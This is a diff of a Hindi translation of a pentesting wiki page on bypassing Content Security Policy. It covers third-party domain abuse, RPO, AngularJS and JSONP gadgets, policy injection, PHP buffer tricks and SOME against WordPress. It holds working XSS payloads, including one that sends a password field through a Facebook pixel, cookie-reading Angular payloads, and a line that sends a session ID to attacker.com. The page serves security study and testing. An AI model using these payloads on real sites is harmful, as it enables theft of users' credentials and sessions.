||||
@ -303,13 +303,13 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड को निष्पादित कर सकते हैं।
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड निष्पादित कर सकते हैं।
|
||||
|
||||
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
या
|
||||
or
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
@ -318,9 +318,9 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
1. यहाँ एक Facebook Developer खाता बनाएं।
|
||||
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
|
||||
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
|
||||
4. उस लक्षित साइट पर जहां आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
|
||||
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)।
|
||||
6. "Test Events" टैब का चयन करें ताकि आप "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देख सकें।
|
||||
|
||||
फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:
|
||||
```JavaScript
|
||||
@ -329,9 +329,9 @@ fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
अन्य सात तृतीय-पक्ष डोमेन के लिए जो पिछले तालिका में निर्दिष्ट हैं, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के [ब्लॉग पोस्ट](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
|
||||
जैसे कि पिछले तालिका में निर्दिष्ट अन्य सात तृतीय-पक्ष डोमेन के लिए, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के [ब्लॉग पोस्ट](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
|
||||
|
||||
### RPO (Relative Path Overwrite) के माध्यम से बायपास <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।
|
||||
|
||||
@ -339,9 +339,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` लोड करेगा।
|
||||
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` को लोड करेगा।
|
||||
|
||||
यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है।
|
||||
यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है।
|
||||
|
||||
∑, वे इसे डिकोड करेंगे, प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
|
||||
|
||||
@ -359,7 +359,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
### गायब **base-uri**
|
||||
|
||||
यदि **base-uri** निर्देश गायब है तो आप इसका दुरुपयोग कर सकते हैं [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) करने के लिए।
|
||||
यदि **base-uri** निर्देश गायब है तो आप इसका दुरुपयोग कर सकते हैं [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) करने के लिए।
|
||||
|
||||
इसके अलावा, यदि **पृष्ठ एक सापेक्ष पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है** (जैसे `<script src="/js/app.js">`) एक **Nonce** का उपयोग करते हुए, आप **base** **tag** का दुरुपयोग कर सकते हैं ताकि यह **आपके अपने सर्वर से स्क्रिप्ट लोड करे जिससे XSS प्राप्त हो।**\
|
||||
यदि संवेदनशील पृष्ठ **httpS** के साथ लोड होता है, तो बेस में httpS URL का उपयोग करें।
|
||||
@ -368,14 +368,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
### AngularJS घटनाएँ
|
||||
|
||||
एक विशेष नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
|
||||
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
|
||||
|
||||
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व (जो `window` ऑब्जेक्ट है) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
|
||||
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( `window` ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करने, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाने को उजागर करता है, जिससे `document.cookie` प्रकट होता है।
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
|
||||
|
||||
**अन्य Angular बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के आह्वान के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।
|
||||
|
||||
कार्यशील पेलोड:
|
||||
```html
|
||||
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहाँ**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) मिल सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
|
||||
### रीडायरेक्शन के माध्यम से बायपास
|
||||
|
||||
@ -401,7 +401,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
|
||||
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
यहां एक उदाहरण है:
|
||||
यहाँ एक उदाहरण है:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -429,7 +429,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
|
||||
### लटकते मार्कअप के साथ CSP बायपास
|
||||
|
||||
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/)।
|
||||
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html)।
|
||||
|
||||
### 'unsafe-inline'; img-src \*; XSS के माध्यम से
|
||||
```
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं।
|
||||
|
||||
आप इस CSP को छवियों के माध्यम से डेटा निकालकर बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां एक पृष्ठ जो बॉट द्वारा सुलभ है, एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):
|
||||
आप इस CSP को छवियों के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा सुलभ एक पृष्ठ में एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -448,9 +448,9 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
||||
|
||||
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड को निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS निकाल**ेगा और **इसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### सेवा श्रमिकों के साथ
|
||||
### सेवा कार्यकर्ताओं के साथ
|
||||
|
||||
सेवा श्रमिकों की **`importScripts`** फ़ंक्शन CSP द्वारा सीमित नहीं है:
|
||||
सेवा कार्यकर्ताओं की **`importScripts`** फ़ंक्शन CSP द्वारा सीमित नहीं है:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -458,7 +458,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
||||
|
||||
### नीति इंजेक्शन
|
||||
|
||||
**अनुसंधान:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
**शोध:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### क्रोम
|
||||
|
||||
@ -472,7 +472,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
||||
#### Edge
|
||||
|
||||
Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: **`;_`** **Edge** पूरी **नीति** को **ड्रॉप** कर देगा।\
|
||||
Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: **`;_`** **Edge** पूरी **नीति** को **छोड़** देगा।\
|
||||
उदाहरण: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; XSS (iframe) के माध्यम से - टाइम अटैक
|
||||
@ -548,16 +548,16 @@ run()
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करने की अनुमति देता है ताकि एक मनमाना स्क्रिप्ट लोड किया जा सके**।
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने** की अनुमति देता है।
|
||||
|
||||
आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**:
|
||||
आप **`csp`** विशेषता के साथ **एक iframe का CSP प्रतिबंधित कर सकते हैं**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
[**इस CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को और अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **कमजोरी का उपयोग किया जा सकता था।**\
|
||||
CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को **हटाने** के द्वारा **प्रवेश** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को **सक्षम** किया जा सकता है:
|
||||
इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\
|
||||
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सफल होते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सक्षम हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
|
||||
उदाहरण के लिए [**इस CTF लेख को देखें**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -589,9 +589,9 @@ document.querySelector("DIV").innerHTML =
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
|
||||
CSP द्वारा अवरुद्ध या अनुमत अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
|
||||
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के बारीकियों का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी को लीक कर सकती हैं।
|
||||
|
||||
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
|
||||
|
||||
@ -606,11 +606,11 @@ CSP द्वारा अवरुद्ध या अनुमति प्र
|
||||
PHP को डिफ़ॉल्ट रूप से **4096** बाइट्स तक प्रतिक्रिया को **बफरिंग** करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो **चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके**, **प्रतिक्रिया** **CSP हेडर** से **पहले** **भेजी जाएगी**, जिससे हेडर को अनदेखा किया जाएगा।\
|
||||
फिर, तकनीक मूल रूप से **चेतावनियों के साथ प्रतिक्रिया बफर को भरने** में है ताकि CSP हेडर न भेजा जाए।
|
||||
|
||||
[**इस लेखन**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
|
||||
[**इस लेख**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
|
||||
|
||||
### त्रुटि पृष्ठ को फिर से लिखें
|
||||
|
||||
[**इस लेखन**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।
|
||||
[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,20 +619,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के एंडपॉइंट में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य एंडपॉइंट्स का दुरुपयोग** किया जा सके। यह एक हमलावर पृष्ठ से कमजोर एंडपॉइंट को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक एंडपॉइंट पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर एंडपॉइंट** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक एंडपॉइंट का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के एंडपॉइंट में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य एंडपॉइंट्स का दुरुपयोग** किया जा सके। यह हमलावर पृष्ठ से कमजोर एंडपॉइंट को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक एंडपॉइंट पर रिफ्रेश करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर एंडपॉइंट** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक एंडपॉइंट का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** एंडपॉइंट है जो **आउटपुट में भेजे गए डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
|
||||
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** एंडपॉइंट है जो आउटपुट में भेजे गए **डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
|
||||
|
||||
एक हमलावर उस एंडपॉइंट का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **SOME हमले** का दुरुपयोग **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
एक हमलावर उस एंडपॉइंट का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
यदि एक सख्त CSP है जो आपको **बाहरी सर्वरों के साथ इंटरैक्ट** करने की अनुमति नहीं देती है, तो कुछ चीजें हैं जो आप हमेशा जानकारी को एक्सफिल्ट्रेट करने के लिए कर सकते हैं।
|
||||
यदि एक सख्त CSP है जो आपको **बाहरी सर्वरों के साथ बातचीत** करने की अनुमति नहीं देती है, तो कुछ चीजें हैं जो आप हमेशा जानकारी को एक्सफिल्ट्रेट करने के लिए कर सकते हैं।
|
||||
|
||||
### Location
|
||||
|
||||
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
आप एक मेटा टैग को इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
|
||||
